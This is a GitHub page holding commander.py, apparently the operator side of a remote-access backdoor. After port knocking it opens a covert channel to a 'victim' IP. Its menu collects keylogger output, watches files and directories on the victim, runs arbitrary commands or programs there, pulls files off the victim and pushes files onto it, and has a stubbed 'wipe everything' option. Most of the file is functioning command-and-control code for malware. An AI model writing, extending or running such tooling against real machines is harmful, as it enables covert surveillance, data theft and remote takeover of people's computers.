-
Notifications
You must be signed in to change notification settings - Fork 1
/
commander.py
198 lines (168 loc) · 6.67 KB
/
commander.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
import argparse
from watcher import *
from covertChannel import *
from scapy.all import *
from scapy.layers.inet import *
from utils import get_ip_address, make_dir, display_menu
from portknocker import perform_knock_sequence
def watching(covert):
"""
Continuously receive data from the covert channel for non-victim side.
Args:
covert (CovertChannel): The covert channel instance.
"""
while True:
covert.receive_data(for_victim=False)
def handle_choice(covert: CovertChannel):
"""
Handle user choices for interacting with the victim.
Args:
covert (CovertChannel): The covert channel instance.
"""
watcher_instance = Watcher()
while True:
input("Press ENTER to continue")
display_menu()
try:
choice = int(input("Enter your choice: "))
except ValueError:
print("ERROR OCCURRED, TRY AGAIN")
continue
covert.cmd = choice
covert.send_data(for_victim=True)
covert.cmd = None
if choice == 3:
sig = int(covert.receive_data(for_victim=False))
if sig == 1:
print(
f"COMMANDER:: Keylogger should be stopped before transferring keylog file"
)
continue
elif sig == 2:
print(f"COMMANDER:: Keylog file does not exist")
continue
covert.receive_data(for_victim=False)
elif choice == 4:
file = input("Enter the file path to watch on the victim: ")
covert.cmd = file
covert.is_watching = True
covert.send_data(for_victim=True)
covert.cmd = None
sig = int(covert.receive_data(for_victim=False))
if not sig:
print(f"COMMANDER:: Error occurred, file path not found")
continue
if not watcher_instance.get_status():
watcher_instance.toggle_file()
watcher_instance.toggle_status()
file_watching_process = multiprocessing.Process(
target=watching, args=(covert,)
)
file_watching_process.start()
print(f"COMMANDER:: Watcher started on {file}...")
watcher_instance.set_child(file_watching_process)
else:
if not watcher_instance.watching_dir_or_file():
print(f"COMMANDER:: Watching a file already...")
elif watcher_instance.watching_dir_or_file():
print(f"COMMANDER:: Watching a directory already..")
elif choice == 6:
direc = input("Enter the directory path to watch on the victim: ")
covert.cmd = direc
covert.is_watching = True
covert.send_data(for_victim=True)
covert.cmd = None
sig = int(covert.receive_data(for_victim=False))
if not sig:
print(f"COMMANDER:: Error occurred, directory path not found")
continue
if not watcher_instance.get_status():
watcher_instance.toggle_dir()
watcher_instance.toggle_status()
dir_watching_process = multiprocessing.Process(
target=watching, args=(covert,)
)
dir_watching_process.start()
print(f"COMMANDER:: Watcher started on {direc}...")
watcher_instance.set_child(dir_watching_process)
else:
if not watcher_instance.watching_dir_or_file():
print(f"COMMANDER:: Watching a file already...")
elif watcher_instance.watching_dir_or_file():
print(f"COMMANDER:: Watching a directory already..")
elif choice == 5 or choice == 7:
covert.is_watching = False
if watcher_instance.get_status():
watcher_instance.stop_watching()
elif not watcher_instance.get_status():
print("COMMANDER:: Watcher instance is not running")
elif choice == 8:
prog = input("Enter the command/program to run on the victim: ")
covert.cmd = prog
covert.send_data(for_victim=True)
covert.cmd = None
sig = covert.receive_data(for_victim=False)
if not sig:
print(f"COMMANDER:: Error occurred, program could not be run")
else:
print(f"COMMANDER:: Program executed successfully on victim\n {sig}")
elif choice == 9:
file = input("Enter file name to transfer FROM victim: ")
covert.cmd = file
covert.is_watching = False
covert.send_data(for_victim=True)
covert.cmd = None
covert.receive_data(for_victim=False)
elif choice == 10:
file = input("Enter file name to transfer TO victim: ")
covert.file_name = file
covert.send_data(for_victim=True, event="IN_CREATE")
covert.file_name = None
sig = int(covert.receive_data(for_victim=False))
if not sig:
print(f"COMMANDER:: Error occurred, file could not be transferred")
else:
print(f"COMMANDER:: Transferred file successfully\n")
elif choice == 11:
print(f"COMMANDER:: DISCONNECTING")
break
elif choice == 12:
print(f"COMMANDER:: Wiping everything from the victim...")
pass
def main():
"""
Main function to initiate the commander and interact with the victim.
"""
parser = argparse.ArgumentParser()
parser.add_argument(
"-ip", dest="ip", type=str, help="Victim's IP address", required=True
)
parser.add_argument(
"-dport",
"--dest_port",
type=int,
dest="dst_port",
help="Victim's port number",
default=6000,
)
parser.add_argument(
"-sport",
"--src_port",
type=int,
dest="src_port",
help="Commander's port number",
default=7000,
)
args = parser.parse_args()
covert_channel = CovertChannel(
cmd_addr=get_ip_address(),
cmd_port=args.src_port,
victim_addr=args.ip,
victim_port=args.dst_port,
)
print("COMMANDER:: Initiating Port Knocking...")
perform_knock_sequence(args.ip, time_out=2)
make_dir(covert_channel.victim_addr)
handle_choice(covert_channel)
if __name__ == "__main__":
main()